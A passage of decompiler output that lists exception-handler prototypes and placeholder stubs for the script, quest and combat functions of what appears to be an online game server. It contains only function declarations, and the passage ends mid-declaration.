_ehhandler__sfb_Calculate_SysFuncShineCircularScatter_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166450(int a1); // void __usercall _L166451(int a1); // void __usercall _L166452(int a1); // void __usercall _L166453(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineGetObjectList_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167225(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AxialListKQResult__QAE_P80_AEXPAVShineObject_ShineObjectClass___ZP80_AEE00K_ZHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166831(int a1); // void __usercall _L166832(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineDistance_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166912(int a1); // void __usercall _L166913(int a1); // void __usercall _L166914(int a1); // void __usercall _L166915(int a1); // void __usercall _L166916(int a1); // void __usercall _L166917(int a1); // void __usercall _L166918(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShinePlayerInArea_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167238(int a1); // void __usercall _L167239(int a1); // void __usercall _L167240(int a1); // void __usercall _L167241(int a1); // void __usercall _L167242(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineKQResultList_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167311(int a1); // void __usercall _L167312(int a1); // void __usercall _L167313(int a1); // void __usercall _L167314(int a1); // void __usercall _L167352(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineKQTop_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167821(int a1); // void __usercall _L167822(int a1); // void __usercall _L167823(int a1); // void __usercall _L167950(int a1); // void __usercall _L167951(int a1); // void __usercall _L167952(int a1); // void __usercall _L169122(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_HV__allocator_H_std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L169534(int a1); // void __usercall _L169535(int a1); // void __usercall _L169536(int a1); // void __usercall _L169537(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sfb_Calculate_SysFuncShineRange_PineEventScriptNode__UAEPAVPineScriptToken__PAV3_PAVProcessStack_PineScriptStack__PAVArgumentList_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L73867(int a1); // void __usercall _L73894(int a1); // void __usercall _L73962(int a1); // void __usercall _L74019(int a1); // void __usercall _L177373(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShinePrintf_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L177316(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AxialListKQReward__QAE_K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L177532(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ali_Work_AxialListFindItemOwner__UAEEPAVShineObject_ShineObjectClass__0K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L188283(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineNPCStand_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L186053(int a1); // void __usercall _L186054(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ScinarioCodeParty_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L178605(int a1); // void __usercall _L178606(int a1); // void __usercall _L178607(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineTimeLimit_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L178666(int a1); // void __usercall _L178667_0(int a1); // void __usercall _L178668(int a1); // void __usercall _L178669(int a1); // void __usercall _L178670(int a1); // void __usercall _L178671(int a1); // void __usercall _L178672(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineInterruptSet_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179017(int a1); // void __usercall _L179018(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__os_ObjectChange_OtherStatement_PineEventScriptNode__IAEGHPAVProcessStack_PineScriptStack__PAHPAVShineObject_ShineObjectClass__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179431(int a1); // void __usercall _L179432(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineExchange2Mob_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179846(int a1); // void __usercall _L179847(int a1); // void __usercall _L179848(int a1); // void __usercall _L179849(int a1); // void __usercall _L179850(int a1); // void __usercall _L179851(int a1); // void __usercall _L179852(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineObjectVanish_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179951(int a1); // void __usercall _L179952(int a1); // void __usercall _L179953(int a1); // void __usercall _L179954(int a1); // void __usercall _L179955(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineRegenGroup_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L180084(int a1); // void __usercall _L180085(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineWaitUserLogin_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L180213(int a1); // void __usercall _L180214(int a1); // void __usercall _L180215(int a1); // void __usercall _L180216(int a1); // void __usercall _L180217(int a1); // void __usercall _L180218_0(int a1); // void __usercall _L180219(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShinePause_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L180483(int a1); // void __usercall _L180484(int a1); // void __usercall _L180485(int a1); // void __usercall _L180486(int a1); // void __usercall _L180573(int a1); // void __usercall _L180574(int a1); // void __usercall _L180575(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineSummonMob_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L180707_0(int a1); // void __usercall _L180708(int a1); // void __usercall _L180709(int a1); // void __usercall _L180710(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineQuestResult_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L180799(int a1); // void __usercall _L180800(int a1); // void __usercall _L180801(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineReward_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L180877(int a1); // void __usercall _L180878(int a1); // void __usercall _L180879(int a1); // void __usercall _L180880(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineBroadcast_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L180993(int a1); // void __usercall _L180994(int a1); // void __usercall _L180995(int a1); // void __usercall _L180996(int a1); // void __usercall _L180997_0(int a1); // void __usercall _L180998(int a1); // void __usercall _L180999(int a1); // void __usercall _L181000(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineLinkTo_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L181138(int a1); // void __usercall _L181139(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineItemDrop_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L181397(int a1); // void __usercall _L181398(int a1); // void __usercall _L181399(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineItemErase_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L181597(int a1); // void __usercall _L181598_0(int a1); // void __usercall _L181599(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineInvenSearch_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L181735(int a1); // void __usercall _L181736(int a1); // void __usercall _L181737(int a1); // void __usercall _L181738(int a1); // void __usercall _L181739(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineFindHandle_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L181865(int a1); // void __usercall _L181866(int a1); // void __usercall _L181867(int a1); // void __usercall _L181868(int a1); // void __usercall _L181869(int a1); // void __usercall _L181870(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineAbstatSet_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L182022(int a1); // void __usercall _L182023(int a1); // void __usercall _L182024(int a1); // void __usercall _L182025(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineAbstatReset_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L182114(int a1); // void __usercall _L182115(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__alms_SelfKill_AxialListMobSuicide__QAEXPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L182204(int a1); // void __usercall _L182205(int a1); // void __usercall _L182206(int a1); // void __usercall _L182207(int a1); // void __usercall _L182208(int a1); // void __usercall _L182209(int a1); // void __usercall _L182210(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineSuicide_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L182495(int a1); // void __usercall _L182496(int a1); // void __usercall _L182497(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineMapLight_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L182694(int a1); // void __usercall _L182695(int a1); // void __usercall _L182876(int a1); // void __usercall _L182877(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineEffectLocate_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L183542(int a1); // void __usercall _L183543(int a1); // void __usercall _L183544(int a1); // void __usercall _L183545(int a1); // void __usercall _L183546(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineBattleStart_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L183690(int a1); // void __usercall _L183691(int a1); // void __usercall _L183692(int a1); // void __usercall _L183693(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineBattleStop_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L184125(int a1); // void __usercall _L184126(int a1); // void __usercall _L184127(int a1); // void __usercall _L184128(int a1); // void __usercall _L184129(int a1); // void __usercall _L184130(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineTeleportAll_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L184411(int a1); // void __usercall _L184412(int a1); // void __usercall _L184413(int a1); // void __usercall _L184414(int a1); // void __usercall _L184541_0(int a1); // void __usercall _L184542(int a1); // void __usercall _L184543(int a1); // void __usercall _L184544(int a1); // void __usercall _L184545(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineChatWindow_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L184659(int a1); // void __usercall _L184660(int a1); // void __usercall _L184661(int a1); // void __usercall _L184662(int a1); // void __usercall _L184663(int a1); // void __usercall _L184664(int a1); // void __usercall _L184778(int a1); // void __usercall _L184779(int a1); // void __usercall _L184780(int a1); // void __usercall _L184781(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineMobAttribute_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L184984(int a1); // void __usercall _L184985(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineEndOfGuildTournament_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L185061(int a1); // void __usercall _L185062(int a1); // void __usercall _L185063(int a1); // void __usercall _L185064(int a1); // void __usercall _L185065(int a1); // void __usercall _L185323(int a1); // void __usercall _L185324(int a1); // void __usercall _L185325(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineCostumeTakeOff_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L185603(int a1); // void __usercall _L185604(int a1); // void __usercall _L185605(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineBriefEffect_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L185793(int a1); // void __usercall _L185794(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineRevival_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L185944(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ClearSaveLinkto_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L186138(int a1); // void __usercall _L186139(int a1); // void __usercall _L186140(int a1); // void __usercall _L186141(int a1); // void __usercall _L186142(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_BroadcastCode_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L186260(int a1); // void __usercall _L186261(int a1); // void __usercall _L186262(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineSpawn_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L186357(int a1); // void __usercall _L186358(int a1); // void __usercall _L186359(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineHPSet_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L187259(int a1); // void __usercall _L187260(int a1); // void __usercall _L187261(int a1); // void __usercall _L187262(int a1); // void __usercall _L187263(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineObjectCollect_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L187688(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UScriptInterruptArgument_ScriptInterrupt____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L187807(int a1); // void __usercall _L187822(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineInterruptClear_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L187897_0(int a1); // void __usercall _L187898(int a1); // void __usercall _L187899_0(int a1); // void __usercall _L187900(int a1); // void __usercall _L187901(int a1); // void __usercall _L188102(int a1); // void __usercall _L188103(int a1); // void __usercall _L188104(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineMobRegen_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L188351(int a1); // void __usercall _L188352(int a1); // void __usercall _L188353(int a1); // void __usercall _L188479(int a1); // void __usercall _L188480(int a1); // void __usercall _L188481(int a1); // void __usercall _L188482(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineBanFromArea_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L188681(int a1); // void __usercall _L188682(int a1); // void __usercall _L188683(int a1); // void __usercall _L188809(int a1); // void __usercall _L188810(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_HasAbstate_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L188932(int a1); // void __usercall _L188933(int a1); // void __usercall _L188934(int a1); // void __usercall _L189397(int a1); // void __usercall _L189398(int a1); // void __usercall _L189399(int a1); // void __usercall _L189400(int a1); // void __usercall _L189401(int a1); // void __usercall _L189961(int a1); // void __usercall _L189962(int a1); // void __usercall _L189963(int a1); // void __usercall _L189964(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_SaveLinkto_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L191750(int a1); // void __usercall _L191751(int a1); // void __usercall _L191752(int a1); // void __usercall _L191753(int a1); // void __usercall _L191754(int a1); // void __usercall _L191901(int a1); // void __usercall _L191902(int a1); // void __usercall _L191903(int a1); // void __usercall _L191904(int a1); // void __usercall _L192051(int a1); // void __usercall _L192052(int a1); // void __usercall _L192053(int a1); // void __usercall _L192054(int a1); // void __usercall _L192055(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_GTMobRegenKey_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L192946(int a1); // void __usercall _L192947(int a1); // void __usercall _L192948(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineMobWeaponRate_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158719(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zbs_Parsing_ClientSession__UAEXPAVShinePlayer_ShineObjectClass__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L150449(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_FillRewardInven_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_GET_ITEMLIST_BY_TYPE_NUM_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161849(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__roe_AttackPower_RulesOfEngagementMagicalSkill__MAENPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161707(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__roe_HitRate_RulesOfEngagementMagicalSkill__UAENPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161820(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__roe_CriticalRate_RulesOfEngagementMagicalSkill__MAENPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161879(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__roe_DefendPower_RulesOfEngagementMagicalSkill__MAENPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161905(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mobile_NotifyParameterChange_ShineMobileObject_ShineObjectClass__UAEXE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161931(int a1); // void __usercall _L161932(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mobile_NotifyParameterChange_ShinePlayer_ShineObjectClass__UAEXE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162017(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__roe_CalcDamage_RulesOfEngagement__UAEHPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159896(int a1); // void __usercall _L159897(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Theater_Movie__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160042(int a1); // void __usercall _L160043(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sdb_Load_ScenarioDescriptBook_ScenarioBookShelf__QAEEPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160099(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ScenarioBookShelf__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160113(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbs_Read_ScenarioBookShelf__AAEEPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160584(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cc_ScriptInterrupt_CinemaComplex_Movie__QAEXP8ScriptInterruptManager_ScriptInterrupt__AEXPATInterruptHappenArgument_4__Z0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161039(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CinemaComplex_Movie__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160358(int a1); // void __usercall _L160359(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__tl_LeftTick_TimeLimit_Movie__QAEHXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160465(int a1); // void __usercall _L160466(int a1); // void __usercall _L160467(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__t_PlayFilm_Theater_Movie__QAEHPAEPAVPineScriptToken___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160545(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VTheater_Movie____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160667(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VTheater_Movie____QAEPAVTheater_Movie__P823_AEHPAV1_GPAV23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160709(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbs_LoadScripts_ScenarioBookShelf__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160755(int a1); // void __usercall _L160783(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cc_PlayFilm_CinemaComplex_Movie__QAEHPAEPAVPineScriptToken___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160850(int a1); // void __usercall _L160851(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cc_IsDuringPlay_CinemaComplex_Movie__QAEEPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160911(int a1); // void __usercall _L160914_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cc_DropFilm_CinemaComplex_Movie__QAEEPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163912(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ScriptInterruptManager_ScriptInterrupt__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162932(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sim_PickUpItem_ScriptInterruptManager_ScriptInterrupt__QAEXPATInterruptHappenArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161246(int a1); // void __usercall _L161247(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sib_BlastCheck_ScriptInterruptGuildEleminate_ScriptInterrupt__UAEEPAUScriptInterruptArgument_2_PAVPineScriptToken__1PAVTimeLimit_Movie__PAV__List_UScriptInterruptArgument_ScriptInterrupt____GPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161655(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sib_BlastCheck_ScriptInterruptHPUpper_ScriptInterrupt__UAEEPAUScriptInterruptArgument_2_PAVPineScriptToken__1PAVTimeLimit_Movie__PAV__List_UScriptInterruptArgument_ScriptInterrupt____GPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void 